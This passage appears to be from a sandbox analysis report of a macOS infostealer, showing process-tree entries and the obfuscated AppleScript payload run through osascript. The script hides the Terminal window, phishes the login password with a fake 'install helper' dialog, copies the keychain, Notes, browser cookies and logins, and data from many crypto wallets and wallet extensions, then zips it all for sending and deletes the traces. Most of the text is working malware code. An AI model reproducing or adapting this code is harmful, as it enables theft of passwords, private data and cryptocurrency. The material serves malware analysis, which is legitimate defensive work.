\"f6264705180628981705(v6176627993449405708, v5876564239486588955 & \\\"/.chost\\\")\" & return & \"set v8258978919954172053 to (random number from 10000 to 100000) as text\" & return & \"set v2545565665707699343 to \\\"/tmp/\\\" & v8258978919954172053 & \\\"/\\\"\" & return & \"try\" & return & \"set v5048646198888777399 to (do shell script \\\"system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType\\\")\" & return & \"f6264705180628981705(v5048646198888777399, v2545565665707699343 & \\\"hardware\\\")\" & return & \"end try\" & return & \"set v8210301408553245953 to v5876564239486588955 & \\\"/Library/\\\"\" & return & \"set v4968262434143532926 to v8210301408553245953 & \\\"Application Support/\\\"\" & return & \"set v2439337587433223164 to f8771517014503093342(v5876564239486588955 & \\\"/.pwd\\\")\" & return & \"if not f5789441686885361081(v3611835577903818869, v2439337587433223164) then\" & return & \"set v2439337587433223164 to f4455047023799241882(v3611835577903818869, v2545565665707699343)\" & return & \"f6264705180628981705(v2439337587433223164, v5876564239486588955 & \\\"/.pwd\\\")\" & return & \"end if\" & return & \"delay 0.01\" & return & \"f6264705180628981705(v2439337587433223164, v2545565665707699343 & \\\"pwd\\\")\" & return & \"set v7777708969300503610 to v8210301408553245953 & \\\"Group Containers/group.com.apple.notes/NoteStore.sqlite\\\"\" & return & \"f3260842499625414770(v7777708969300503610, v2545565665707699343 & \\\"finder/NoteStore.sqlite\\\")\" & return & \"f3260842499625414770(v7777708969300503610 & \\\"-wal\\\", v2545565665707699343 & \\\"finder/NoteStore.sqlite-wal\\\")\" & return & \"f3260842499625414770(v7777708969300503610 & \\\"-shm\\\", v2545565665707699343 & \\\"finder/NoteStore.sqlite-shm\\\")\" & return & \"f3260842499625414770(v8210301408553245953 & \\\"Containers/com.apple.Safari/Data/Library/Cookies/Cookies.binarycookies\\\", v2545565665707699343 & \\\"finder/Cookies.binarycookies\\\")\" & return & \"f3260842499625414770(v8210301408553245953 & \\\"Cookies/Cookies.binarycookies\\\", v2545565665707699343 & \\\"finder/saf1\\\")\" & return & \"f1532446016022058365(v2545565665707699343)\" & return & \"try\" & return & \"if f8771517014503093342(v2545565665707699343 & \\\"finder/NoteStore.sqlite\\\") is equal to \\\"\\\" then\" & return & \"f7881539568187939281(v2545565665707699343)\" & return & \"end if\" & return & \"end try\" & return & \"set v5516568614182406442 to {{\\\"Chrome\\\", v4968262434143532926 & \\\"Google/Chrome/\\\"}, {\\\"Brave\\\", v4968262434143532926 & \\\"BraveSoftware/Brave-Browser/\\\"}, {\\\"Edge\\\", v4968262434143532926 & \\\"Microsoft Edge/\\\"}, {\\\"Vivaldi\\\", v4968262434143532926 & \\\"Vivaldi/\\\"}, {\\\"Opera\\\", v4968262434143532926 & \\\"com.operasoftware.Opera/\\\"}, {\\\"OperaGX\\\", v4968262434143532926 & \\\"com.operasoftware.OperaGX/\\\"}, {\\\"Chrome Beta\\\", v4968262434143532926 & \\\"Google/Chrome Beta/\\\"}, {\\\"Chrome Canary\\\", v4968262434143532926 & \\\"Google/Chrome Canary\\\"}, {\\\"Chromium\\\", v4968262434143532926 & \\\"Chromium/\\\"}, {\\\"Chrome Dev\\\", v4968262434143532926 & \\\"Google/Chrome Dev/\\\"}}\" & return & \"set v8490134006172949951 to {{\\\"Electrum\\\", v5876564239486588955 & \\\"/.electrum/wallets/\\\"}, {\\\"Coinomi\\\", v4968262434143532926 & \\\"Coinomi/wallets/\\\"}, {\\\"Exodus\\\", v4968262434143532926 & \\\"Exodus/\\\"}, {\\\"Atomic\\\", v4968262434143532926 & \\\"atomic/Local Storage/leveldb/\\\"}, {\\\"Wasabi\\\", v5876564239486588955 & \\\"/.walletwasabi/client/Wallets/\\\"}, {\\\"Ledger_Live\\\", v4968262434143532926 & \\\"Ledger Live/\\\"}, {\\\"Monero\\\", v5876564239486588955 & \\\"/Monero/wallets/\\\"}, {\\\"Bitcoin_Core\\\", v4968262434143532926 & \\\"Bitcoin/wallets/\\\"}, {\\\"Litecoin_Core\\\", v4968262434143532926 & \\\"Litecoin/wallets/\\\"}, {\\\"Dash_Core\\\", v4968262434143532926 & \\\"DashCore/wallets/\\\"}, {\\\"Electrum_LTC\\\", v5876564239486588955 & \\\"/.electrum-ltc/wallets/\\\"}, {\\\"Electron_Cash\\\", v5876564239486588955 & \\\"/.electron-cash/wallets/\\\"}, {\\\"Guarda\\\", v4968262434143532926 & \\\"Guarda/\\\"}, {\\\"Dogecoin_Core\\\", v4968262434143532926 & \\\"Dogecoin/wallets/\\\"}, {\\\"Trezor_Suite\\\", v4968262434143532926 & \\\"@trezor/suite-desktop/\\\"}}\" & return & \"f3260842499625414770(v4968262434143532926 & \\\"Binance/app-store.json\\\", v2545565665707699343 & \\\"deskwallets/Binance/app-store.json\\\")\" & return & \"f3260842499625414770(v4968262434143532926 & \\\"@tonkeeper/desktop/config.json\\\", \\\"deskwallets/TonKeeper/config.json\\\")\" & return & \"f3260842499625414770(v8210301408553245953 & \\\"Keychains/login.keychain-db\\\", v2545565665707699343 & \\\"kc\\\")\" & return & \"f6264705180628981705(v3611835577903818869, v2545565665707699343 & \\\"user\\\")\" & return & \"set v7965558497206143252 to {{\\\"Firefox\\\", v4968262434143532926 & \\\"Firefox/Profiles/\\\"}, {\\\"Waterfox\\\", v4968262434143532926 & \\\"Waterfox/Profiles/\\\"}}\" & return & \"repeat with r8845574607081690012 in v7965558497206143252\" & return & \"try\" & return & \"f2536643714453681639(item 1 of r8845574607081690012, item 2 of r8845574607081690012, v2545565665707699343)\" & return & \"end try\" & return & \"end repeat\" & return & \"repeat with r7976650121018849761 in v8490134006172949951\" & return & \"f8031310448975060865(item 2 of r7976650121018849761, v2545565665707699343 & \\\"deskwallets/\\\" & item 1 of r7976650121018849761)\" & return & \"end repeat\" & return & \"f1591517285159242142(v2545565665707699343, v5516568614182406442)\" & return & \"do shell script \\\"ditto -c -k --sequesterRsrc \\\" & v2545565665707699343 & \\\" /tmp/out.zip\\\"\" & return & \"f8497057021342530935(0, v5329093948850621050, v6176627993449405708, v6007572078735828114)\" & return & \"do shell script \\\"rm -r \\\" & v2545565665707699343\" & return & \"do shell script \\\"rm /tmp/out.zip\\\"\" & return & \"f7738793407393166782(v5876564239486588955, v2439337587433223164, v6176627993449405708)\" & return & \"try\" & return & \"if f8771517014503093342(v5876564239486588955 & \\\"/.botid\\\") is equal to \\\"\\\" then\" & return & \"f7680579707267924922(v3611835577903818869, v2439337587433223164, v6176627993449405708)\" & return & \"end if\" & return & \"end try\" & return & \"end f7067467169335976972\" & return & \"f7067467169335976972()\" & return"

Process not Found

/bin/sh
sh -c "sudo /bin/zsh -c \"/Users/run/Launcher/Launcher\""
1⤵
PID:474

/bin/bash
sh -c "sudo /bin/zsh -c \"/Users/run/Launcher/Launcher\""
1⤵
PID:474

/usr/bin/sudo
sudo /bin/zsh -c /Users/run/Launcher/Launcher
1⤵
PID:474
- /bin/zsh
  /bin/zsh -c /Users/run/Launcher/Launcher
  2⤵
  PID:475
- /Users/run/Launcher/Launcher
  /Users/run/Launcher/Launcher
  2⤵
  PID:475

/bin/sh
sh -c "osascript -e 'tell application \"terminal\" to set visible of the front window to false run script \"\" & return & \"on f5498098200027630037(p4589535765820734162)\" & return & \"try\" & return & \"set v4660640515867015918 to quoted form of (POSIX path of p4589535765820734162)\" & return & \"do shell script \\\"mkdir -p \\\" & v4660640515867015918\" & return & \"end try\" & return & \"end f5498098200027630037\" & return & \"on f8771517014503093342(p4993898616030614531)\" & return & \"try\" & return & \"set v3622299508332566895 to POSIX file p4993898616030614531\" & return & \"set v3830124729194131128 to read v3622299508332566895\" & return & \"return v3830124729194131128\" & return & \"end try\" & return & \"return \\\"\\\"\" & return & \"end f8771517014503093342\" & return & \"on f2579889702040630272(p5191965497441309888)\" & return & \"try\" & return & \"set v5490052038534388146 to (reverse of every character of p5191965497441309888) as string\" & return & \"set v8170262523650959887 to text 1 thru ((offset of \\\"/\\\" in v5490052038534388146) - 1) of v5490052038534388146\" & return & \"set v8478334136396613953 to (reverse of every character of v8170262523650959887) as string\" & return & \"return v8478334136396613953\" & return & \"end try\" & return & \"return \\\"\\\"\" & return & \"end f2579889702040630272\" & return & \"on f5587746576506220116(p4289323429601029164)\" & return & \"try\" & return & \"set v4779265971954391041 to offset of \\\"/\\\" in (reverse of every character of p4289323429601029164) as string\" & return & \"set v2534333169410523992 to text 1 thru -(v4779265971954391041 + 1) of p4289323429601029164\" & return & \"return v2534333169410523992\" & return & \"end try\" & return & \"return \\\"\\\"\" & return & \"end f5587746576506220116\" & return & \"on f6264705180628981705(p7478832390020446534, p8679437718282592800)\" & return & \"try\" & return & \"set v7791588552321167638 to f5587746576506220116(p8679437718282592800)\" & return & \"f5498098200027630037(v7791588552321167638)\" & return & \"set v6119821030634884911 to (open for access p8679437718282592800 with write permission)\" & return & \"set eof of v6119821030634884911 to 0\" & return & \"write p7478832390020446534 to v6119821030634884911 starting at eof\" & return & \"close access v6119821030634884911\" & return & \"end try\" & return & \"end f6264705180628981705\" & return & \"on f3260842499625414770(p8302229028837966379, p6817047235429405060)\" & return & \"try\" & return & \"set v6928805829853103127 to read p8302229028837966379\" & return & \"set v8038606891662634209 to f5587746576506220116(p6817047235429405060)\" & return & \"f5498098200027630037(v8038606891662634209)\" & return & \"do shell script \\\"cat \\\" & quoted form of p8302229028837966379 & \\\" > \\\" & quoted form of p6817047235429405060\" & return & \"end try\" & return & \"end f3260842499625414770\" & return & \"on f3156936418114084484(p7483103834954789903)\" & return & \"try\" & return & \"set v8582577522004476657 to quoted form of (POSIX path of p7483103834954789903)\" & return & \"set v7222260162427611844 to (do shell script \\\"file -b \\\" & v8582577522004476657)\" & return & \"if v7222260162427611844 ends with \\\"directory\\\" then\" & return & \"return true\" & return & \"end if\" & return & \"end try\" & return & \"return false\" & return & \"end f3156936418114084484\" & return & \"on f8031310448975060865(p6165568718593603775, p3995091535608141842)\" & return & \"try\" & return & \"set v4427033544700151129 to {\\\".DS_Store\\\", \\\"Partitions\\\", \\\"Code Cache\\\", \\\"Cache\\\", \\\"market-history-cache.json\\\", \\\"journals\\\", \\\"Previews\\\", \\\"GPUCache\\\", \\\"DawnCache\\\", \\\"Crashpad\\\", \\\"DawnWebGPUCache\\\", \\\"DawnGraphiteCache\\\", \\\"__update__\\\", \\\"tor\\\"}\" & return & \"set v7135990229297471806 to list folder p6165568718593603775 without invisibles\" & return & \"f5498098200027630037(p3995091535608141842)\" & return & \"repeat with r7069205978427333072 in v7135990229297471806\" & return & \"if r7069205978427333072 is not in v4427033544700151129 then\" & return & \"set v5759125161221505170 to p6165568718593603775 & \\\"/\\\" & r7069205978427333072\" & return & \"set v6648899277418132977 to p3995091535608141842 & \\\"/\\\" & r7069205978427333072\" & return & \"if f3156936418114084484(v5759125161221505170) then\" & return & \"f8031310448975060865(v5759125161221505170, v6648899277418132977)\" & return & \"else\" & return & \"f3260842499625414770(v5759125161221505170, v6648899277418132977)\" & return & \"end if\" & return & \"end if\" & return & \"end repeat\" & return & \"end try\" & return & \"end f8031310448975060865\" & return & \"on f4606271286205922702(p3252597281357569787, p6782276021266464194)\" & return & \"try\" & return & \"set v9062801922064180863 to POSIX file p3252597281357569787\" & return & \"set v2512143368881189483 to read v9062801922064180863\" & return & \"set v7665748634442153027 to offset of p6782276021266464194 in v2512143368881189483\" & return & \"if v7665748634442153027 is 0 then\" & return & \"return \\\"not found\\\"\" & return & \"end if\" & return & \"set v6319362564426722198 to v7665748634442153027 + (length of p6782276021266464194)\" & return & \"set v1662349207260678648 to text v6319362564426722198 thru (v6319362564426722198 + 55) of v2512143368881189483\" & return & \"set v5869120015044447301 to offset of \\\"\\\\\\\\\\\" in v1662349207260678648\" & return & \"if v5869120015044447301 is 0 then\" & return & \"return \\\"not found\\\"\" & return & \"end if\" & return & \"set v1119076493871920663 to text v6319362564426722198 thru (v6319362564426722198 + v5869120015044447301 - 2) of v2512143368881189483\" & return & \"return v1119076493871920663\" & return & \"on error\" & return & \"return \\\"not found\\\"\" & return & \"end try\" & return & \"end f4606271286205922702\" & return & \"on f8098720406337565837(p4135792100352579745, p4399015111798680940)\" & return & \"try\" & return & \"set v3445687237814926359 to {{\\\"MetaMask\\\", \\\"[email protected]\\\\\\\\\\\\\\\":\\\\\\\\\\\\\\\"\\\"}}\" & return & \"repeat with r2710029803435992307 in v3445687237814926359\" & return & \"set v5527760559889148014 to f4606271286205922702(p4135792100352579745 & \\\"/prefs.js\\\", item 2 of r2710029803435992307)\" & return & \"if v5527760559889148014 is not \\\"not found\\\" then\" & return & \"set v7272432386463749454 to p4135792100352579745 & \\\"/storage/default/\\\"\" & return & \"set v2548569600021713815 to list folder v7272432386463749454 without invisibles\" & return & \"repeat with r4503796059574804811 in v2548569600021713815\" & return & \"if (r4503796059574804811 contains v5527760559889148014) and (r4503796059574804811 contains \\\"userContext\\\") then\" & return & \"set v7111736942498542969 to v7272432386463749454 & r4503796059574804811 & \\\"/idb/\\\"\" & return & \"set v2059788629588650947 to list folder v7111736942498542969 without invisibles\" & return & \"repeat with r2240402379985096094 in v2059788629588650947\" & return & \"if f3156936418114084484(v7111736942498542969 & r2240402379985096094) then\" & return & \"f8031310448975060865(v7111736942498542969 & r2240402379985096094, p4399015111798680940 & \\\"/\\\" & item 1 of r2710029803435992307 & \\\"/\\\")\" & return & \"end if\" & return & \"end repeat\" & return & \"end if\" & return & \"end repeat\" & return & \"end if\" & return & \"end repeat\" & return & \"end try\" & return & \"end f8098720406337565837\" & return & \"on f2536643714453681639(p6491836862543296525, p1104512043356146378, p4719841690245269790)\" & return & \"try\" & return & \"set v8041447865609609921 to {\\\"/cookies.sqlite\\\", \\\"/formhistory.sqlite\\\", \\\"/key4.db\\\", \\\"/logins.json\\\"}\" & return & \"set v5741765454527728264 to list folder p1104512043356146378 without invisibles\" & return & \"repeat with r6569667071032230762 in v5741765454527728264\" & return & \"set v3283859923721329108 to p4719841690245269790 & \\\"gecko/\\\" & p6491836862543296525 & \\\"_\\\" & r6569667071032230762\" & return & \"f8098720406337565837(p1104512043356146378 & r6569667071032230762, v3283859923721329108)\" & return & \"set v4700655626243587894 to p1104512043356146378 & r6569667071032230762\" & return & \"repeat with r7733418144795446467 in v8041447865609609921\" & return & \"f3260842499625414770(v4700655626243587894 & r7733418144795446467, v3283859923721329108 & r7733418144795446467)\" & return & \"end repeat\" & return & \"end repeat\" & return & \"end try\" & return & \"end f2536643714453681639\" & return & \"on f5789441686885361081(p7334453719510525956, p1729246370798074576)\" & return & \"try\" & return & \"set v2766682643012023727 to do shell script \\\"dscl . authonly \\\" & quoted form of p7334453719510525956 & space & quoted form of p1729246370798074576\" & return & \"if v2766682643012023727 is not equal to \\\"\\\" then\" & return & \"return false\" & return & \"else\" & return & \"return true\" & return & \"end if\" & return & \"on error\" & return & \"return false\" & return & \"end try\" & return & \"end f5789441686885361081\" & return & \"on f4455047023799241882(p8940679689014766929, p3632011921762080103)\" & return & \"try\" & return & \"if f5789441686885361081(p8940679689014766929, \\\"\\\") then\" & return & \"set v4919179166161086149 to do shell script \\\"security 2>&1 > /dev/null find-generic-password -ga \\\\\\\"Chrome\\\\\\\" | awk \\\\\\\"{print \$2}\\\\\\\"\\\"\" & return & \"f6264705180628981705(v4919179166161086149 as string, p3632011921762080103 & \\\"masterpass-chrome\\\")\" & return & \"else\" & return & \"repeat\" & return & \"set v4919179166161086149 to display dialog \\\"Required Application Helper. Please enter device password to continue.\\\" default answer \\\"\\\" with icon caution buttons {\\\"Continue\\\"} default button \\\"Continue\\\" giving up after 150 with title \\\"Application wants to install helper\\\" with hidden answer\" & return & \"set v1113402095258927485 to text returned of v4919179166161086149\" & return & \"if f5789441686885361081(p8940679689014766929, v1113402095258927485) then\" & return & \"return v1113402095258927485\" & return & \"end if\" & return & \"end repeat\" & return & \"end if\" & return & \"end try\" & return & \"return \\\"\\\"\" & return & \"end f4455047023799241882\" & return & \"on f5580828236190888392(p1723230788839028370, p5378765118834738397, p8092797049054828465, p2444943568190761710)\" & return & \"try\" & return & \"set v4846700367200223038 to list folder p1723230788839028370 without invisibles\" & return & \"repeat with r8306651402256042108 in v4846700367200223038\" & return & \"repeat with r6735850789153243997 in p8092797049054828465\" & return & \"if (r8306651402256042108 contains r6735850789153243997) then\" & return & \"set v5773195421035163669 to p1723230788839028370 & r8306651402256042108\" & return & \"set v1039143461784461798 to p5378765118834738397 & \\\"/\\\" & r6735850789153243997\" & return & \"if p2444943568190761710 then\" & return & \"set v1039143461784461798 to v1039143461784461798 & \\\"/IndexedDB/\\\"\" & return & \"end if\" & return & \"f8031310448975060865(v5773195421035163669, v1039143461784461798)\" & return & \"end if\" & return & \"end repeat\" & return & \"end repeat\" & return & \"end try\" & return & \"end f5580828236190888392\" & return & \"on f1591517285159242142(p4863990634495586282, p6334719600918497600)\" & return & \"set v4405675767274189443 to {\\\"ldinpeekobnhjjdofggfgjlcehhmanlj\\\", \\\"nphplpgoakhhjchkkhmiggakijnkhfnd\\\", \\\"jbkgjmpfammbgejcpedggoefddacbdia\\\", \\\"fccgmnglbhajioalokbcidhcaikhlcpm\\\", \\\"nebnhfamliijlghikdgcigoebonmoibm\\\", \\\"fdcnegogpncmfejlfnffnofpngdiejii\\\", \\\"mfhbebgoclkghebffdldpobeajmbecfk\\\", \\\"ffbceckpkpbcmgiaehlloocglmijnpmp\\\", \\\"kfdniefadaanbjodldohaedphafoffoh\\\", \\\"bedogdpgdnifilpgeianmmdabklhfkcn\\\", \\\"kpfchfdkjhcoekhdldggegebfakaaiog\\\", \\\"klnaejjgbibmhlephnhpmaofohgkpgkd\\\", \\\"opcgpfmipidbgpenhmajoajpbobppdil\\\", \\\"mmmjbcfofconkannjonfmjjajpllddbg\\\", \\\"modjfdjcodmehnpccdjngmdfajggaoeh\\\", \\\"dkdedlpgdmmkkfjabffeganieamfklkm\\\", \\\"ifclboecfhkjbpmhgehodcjpciihhmif\\\", \\\"ppbibelpcjmhbdihakflkdcoccbgbkpo\\\", \\\"ejjladinnckdgjemekebdpeokbikhfci\\\", \\\"kkpllkodjeloidieedojogacfhpaihoh\\\", \\\"apnehcjmnengpnmccpaibjmhhoadaico\\\", \\\"jiepnaheligkibgcjgjepjfppgbcghmp\\\", \\\"jojhfeoedkpkglbfimdfabpdfjaoolaf\\\", \\\"idpdilbfamoopcfofbipefhmmnflljfi\\\", \\\"lbjapbcmmceacocpimbpbidpgmlmoaao\\\", \\\"oiohdnannmknmdlddkdejbmplhbdcbee\\\", \\\"fldfpgipfncgndfolcbkdeeknbbbnhcc\\\", \\\"fpkhgmpbidmiogeglndfbkegfdlnajnf\\\", \\\"lgmpcpglpngdoalbgeoldeajfclnhafa\\\", \\\"ilhaljfiglknggcoegeknjghdgampffk\\\", \\\"pfccjkejcgoppjnllalolplgogenfojk\\\", \\\"cnmamaachppnkjgnildpdmkaakejnhae\\\", \\\"eajafomhmkipbjmfmhebemolkcicgfmd\\\", \\\"emeeapjkbcbpbpgaagfchmcgglmebnen\\\", \\\"ibnejdfjmmkpcnlpebklmnkoeoihofec\\\", \\\"hifafgmccdpekplomjjkcfgodnhcellj\\\", \\\"ffnbelfdoeiohenkjibnmadjiehjhajb\\\", \\\"fnjhmkhhmkbjkkabndcnnogagogbneec\\\", \\\"bcopgchhojmggmffilplmbdicgaihlkp\\\", \\\"cmoakldedjfnjofgbbfenefcagmedlga\\\", \\\"ifckdpamphokdglkkdomedpdegcjhjdp\\\", \\\"ibljocddagjghmlpgihahamcghfggcjc\\\", \\\"cjmkndjhnagcfbpiemnkdpomccnjblmj\\\", \\\"kbdcddcmgoplfockflacnnefaehaiocb\\\", \\\"cgeeodpfagjceefieflmdfphplkenlfk\\\", \\\"afbcbjpbpfadlkmhmclhkeeodmamcflc\\\", \\\"fdchdcpieegfofnofhgdombfckhbcokj\\\", \\\"gjlmehlldlphhljhpnlddaodbjjcchai\\\", \\\"ellkdbaphhldpeajbepobaecooaoafpg\\\", \\\"ojbcfhjmpigfobfclfflafhblgemeidi\\\", \\\"ghlmndacnhlaekppcllcpcjjjomjkjpg\\\", \\\"kgdijkcfiglijhaglibaidbipiejjfdp\\\", \\\"abkahkcbhngaebpcgfmhkoioedceoigp\\\", \\\"ammjlinfekkoockogfhdkgcohjlbhmff\\\", \\\"pdliaogehgdbhbnmkklieghmmjkpigpa\\\", \\\"jnlgamecbpmbajjfhmmmlhejkemejdma\\\", \\\"nbdhibgjnjpnkajaghbffjbkcgljfgdi\\\", \\\"jfdlamikmbghhapbgfoogdffldioobgl\\\", \\\"fijngjgcjhjmmpcmkeiomlglpeiijkld\\\", \\\"hgbeiipamcgbdjhfflifkgehomnmglgk\\\", \\\"pmmnimefaichbcnbndcfpaagbepnjaig\\\", \\\"cflgahhmjlmnjbikhakapcfkpbcmllam\\\", \\\"keenhcnmdmjjhincpilijphpiohdppno\\\", \\\"bipdhagncpgaccgdbddmbpcabgjikfkn\\\", \\\"bcenedbpaaegpnijoadpdjiachahncdg\\\", \\\"pocmplpaccanhmnllbbkpgfliimjljgo\\\", \\\"klghhnkeealcohjjanjjdaeeggmfmlpl\\\", \\\"cjookpbkjnpkmknedggeecikaponcalb\\\", \\\"ojggmchlghnjlapmfbnjholfjkiidbch\\\", \\\"dngmlblcodfobpdpecaadgfbcggfjfnm\\\", \\\"jnldfbidonfeldmalbflbmlebbipcnle\\\", \\\"ehjiblpccbknkgimiflboggcffmpphhp\\\", \\\"agoakfejjabomempkjlepdflaleeobhb\\\", \\\"fopmedgnkfpebgllppeddmmochcookhc\\\", \\\"dmkamcknogkgcdfhhbddcghachkejeap\\\", \\\"iglbgmakmggfkoidiagnhknlndljlolb\\\", \\\"opfgelmcmbiajamepnmloijbpoleiama\\\", \\\"gkeelndblnomfmjnophbhfhcjbcnemka\\\", \\\"dgiehkgfknklegdhekgeabnhgfjhbajd\\\", \\\"gafhhkghbfjjkeiendhlofajokpaflmk\\\", \\\"imlcamfeniaidioeflifonfjeeppblda\\\", \\\"penjlddjkjgpnkllboccdgccekpkcbin\\\", \\\"nhnkbkgjikgcigadomkphalanndcapjk\\\", \\\"egjidjbpglichdcondbcbdnbeeppgdph\\\", \\\"dlcobpjiigpikoobohmabehhmhfoodbb\\\", \\\"dldjpboieedgcmpkchcjcbijingjcgok\\\", \\\"acmacodkjbdgmoleebolmdjonilkdbch\\\", \\\"lccbohhgfkdikahanoclbdmaolidjdfl\\\", \\\"pcndjhkinnkaohffealmlmhaepkpmgkb\\\", \\\"gjagmgiddbbciopjhllkdnddhcglnemk\\\", \\\"cnncmdhjacpkmjmkcafchppbnpnhdmon\\\", \\\"mfgccjchihfkkindfppnaooecgfneiii\\\", \\\"ieldiilncjhfkalnemgjbffmpomcaigi\\\", \\\"ckklhkaabbmdjkahiaaplikpdddkenic\\\", \\\"loinekcabhlmhjjbocijdoimmejangoa\\\", \\\"mgffkfbidihjpoaomajlbgchddlicgpn\\\", \\\"pnndplcbkakcplkjnolgbkdgjikjednm\\\", \\\"mcohilncbfahbmgdjkbpemcciiolgcge\\\", \\\"bgpipimickeadkjlklgciifhnalhdjhe\\\", \\\"pdadjkfkgcafgbceimcpbkalnfnepbnk\\\", \\\"jiidiaalihmmhddjgbnbgdfflelocpak\\\", \\\"aeachknmefphepccionboohckonoeemg\\\", \\\"gdokollfhmnbfckbobkdbakhilldkhcj\\\", \\\"jiiigigdinhhgjflhljdkcelcjfmplnd\\\", \\\"kmphdnilpmdejikjdnlbcnmnabepfgkh\\\", \\\"jaooiolkmfcmloonphpiiogkfckgciom\\\", \\\"fcckkdbjnoikooededlapcalpionmalo\\\", \\\"mdnaglckomeedfbogeajfajofmfgpoae\\\", \\\"ebfidpplhabeedpnhjnobghokpiioolj\\\", \\\"dbgnhckhnppddckangcjbkjnlddbjkna\\\", \\\"cpmkedoipcpimgecpmgpldfpohjplkpp\\\", \\\"epapihdplajcdnnkdeiahlgigofloibg\\\", \\\"iokeahhehimjnekafflcihljlcjccdbe\\\", \\\"cihmoadaighcejopammfbmddcmdekcje\\\", \\\"hnfanknocfeofbddgcijnmhnfnkdnaad\\\", \\\"kilnpioakcdndlodeeceffgjdpojajlo\\\", \\\"abogmiocnneedmmepnohnhlijcjpcifd\\\", \\\"bofddndhbegljegmpmnlbhcejofmjgbn\\\", \\\"aholpfdialjgjfhomihkjbmgjidlcdno\\\", \\\"hdkobeeifhdplocklknbnejdelgagbao\\\", \\\"oafedfoadhdjjcipmcbecikgokpaphjk\\\", \\\"bfnaelmomeimhlpmgjnjophhpkkoljpa\\\", \\\"nkbihfbeogaeaoehlefnkodbefgpgknn\\\", \\\"lfmmjkfllhmfmkcobchabopkcefjkoip\\\", \\\"aiifbnbfobpmeekipheeijimdpnlpgpp\\\", \\\"anokgmphncpekkhclmingpimjmcooifb\\\", \\\"mnfifefkajgofkcjkemidiaecocnkjeh\\\", \\\"momakdpclmaphlamgjcndbgfckjfpemp\\\", \\\"akkmagafhjjjjclaejjomkeccmjhdkpa\\\", \\\"ehgjhhccekdedpbkifaojjaefeohnoea\\\", \\\"mkpegjkblkkefacfnmkajcjmabijhclg\\\", \\\"mlhakagmgkmonhdonhkpjeebfphligng\\\", \\\"niiaamnmgebpeejeemoifgdndgeaekhe\\\", \\\"jnmbobjmhlngoefaiojfljckilhhlhcj\\\", \\\"onhogfjeacnfoofkfgppdlbmlmnplgbn\\\", \\\"kppfdiipphfccemcignhifpjkapfbihd\\\", \\\"hcjhpkgbmechpabifbggldplacolbkoh\\\", \\\"flpiciilemghbmfalicajoolhkkenfel\\\", \\\"mlbnicldlpdimbjdcncnklfempedeipj\\\", \\\"cfbfdhimifdmdehjmkdobpcjfefblkjm\\\", \\\"ocjobpilfplciaddcbafabcegbilnbnb\\\", \\\"pgiaagfkgcbnmiiolekcfmljdagdhlcm\\\", \\\"enabgbdfcbaehmbigakijjabdpdnimlg\\\", \\\"bifidjkcdpgfnlbcjpdkdcnbiooooblg\\\", \\\"lnnnmfcpbkafcpgdilckhmhbkkbpkmid\\\", \\\"nlgbhdfgdhgbiamfdfmbikcdghidoadd\\\", \\\"fcfcfllfndlomdhbehjjcoimbgofdncg\\\", \\\"lpilbniiabackdjcionkobglmddfbcjo\\\", \\\"efbglgofoippbgcjepnhiblaibcnclgk\\\", \\\"fhbohimaelbohpjbbldcngcnapndodjp\\\", \\\"gkodhkbmiflnmkipcmlhhgadebbeijhh\\\", \\\"bocpokimicclpaiekenaeelehdjllofo\\\", \\\"bhhhlbepdkbapadjdnnojkbgioiodbic\\\", \\\"aflkmfhebedbjioipglgcbcmnbpgliof\\\", \\\"mkchoaaiifodcflmbaphdgeidocajadp\\\", \\\"mapbhaebnddapnmifbbkgeedkeplgjmf\\\", \\\"lmkncnlpeipongihbffpljgehamdebgi\\\", \\\"gjnckgkfmgmibbkoficdidcljeaaaheg\\\", \\\"ppdadbejkmjnefldpcdjhnkpbjkikoip\\\", \\\"bopcbmipnjdcdfflfgjdgdjejmgpoaab\\\", \\\"kamfleanhcmjelnhaeljonilnmjpkcjc\\\", \\\"cphhlgmgameodnhkjdmkpanlelnlohao\\\", \\\"hnhobjmcibchnmglfbldbfabcgaknlkj\\\", \\\"nknhiehlklippafakaeklbeglecifhad\\\", \\\"kjjebdkfeagdoogagbhepmbimaphnfln\\\", \\\"phkbamefinggmakgklpkljjmgibohnba\\\", \\\"lakggbcodlaclcbbbepmkpdhbcomcgkd\\\", \\\"ookjlbkiijinhpmnjffcofjonbfbgaoc\\\", \\\"mdjmfdffdcmnoblignmgpommbefadffd\\\", \\\"jblndlipeogpafnldhgmapagcccfchpi\\\", \\\"hbbgbephgojikajhfbomhlmmollphcad\\\", \\\"dpcklmdombjcplafheapiblogdlgjjlb\\\", \\\"hmeobnfnfcmdkdcmlblgagmfpfboieaf\\\", \\\"kmhcihpebfmpgmihbkipmjlmmioameka\\\", \\\"kennjipeijpeengjlogfdjkiiadhbmjl\\\", \\\"amkmjjmmflddogmhpjloimipbofnfjih\\\", \\\"idnnbdplmphpflfnlkomgpfbpcgelopg\\\", \\\"fmblappgoiilbgafhjklehhfifbdocee\\\", \\\"heamnjbnflcikcggoiplibfommfbkjpj\\\", \\\"khpkpbbcccdmmclmpigdgddabeilkdpd\\\", \\\"omaabbefbmiijedngplfjmnooppbclkk\\\", \\\"nhlnehondigmgckngjomcpcefcdplmgc\\\", \\\"fiikommddbeccaoicoejoniammnalkfa\\\", \\\"ejbidfepgijlcgahbmbckmnaljagjoll\\\", \\\"glmhbknppefdmpemdmjnjlinpbclokhn\\\", \\\"kncchdigobghenbbaddojjnnaogfppfj\\\", \\\"hpclkefagolihohboafpheddmmgdffjm\\\", \\\"ilolmnhjbbggkmopnemiphomhaojndmb\\\", \\\"panpgppehdchfphcigocleabcmcgfoca\\\", \\\"nngceckbapebfimnlniiiahkandclblb\\\", \\\"hdokiejnpimakedhajhdlcegeplioahd\\\", \\\"eiaeiblijfjekdanodkjadfinkhbfgcd\\\", \\\"bfogiafebfohielmmehodmfbbebbbpei\\\", \\\"pnlccmojcmeohlpggmfnbbiapkmbliob\\\", \\\"aeblfdkhhhdcdjpifhhbdiojplfjncoa\\\", \\\"kmcfomidfpdkfieipokbalgegidffkal\\\", \\\"fdjamakpfbbddfjaooikfcpapjohcfmg\\\", \\\"ghmbeldphafepmbegfdlkpapadhbakde\\\", \\\"cnlhokffphohmfcddnibpohmkdfafdli\\\", \\\"khhapgacijodhjokkcjmleaempmchlem\\\", \\\"admmjipmmciaobhojoghlmleefbicajg\\\", \\\"caljgklbbfbcjjanaijlacgncafpegll\\\", \\\"bdgmdoedahdcjmpmifafdhnffjinddgc\\\"}\" & return & \"set v8742602037954305398 to {\\\"hnfanknocfeofbddgcijnmhnfnkdnaad\\\", 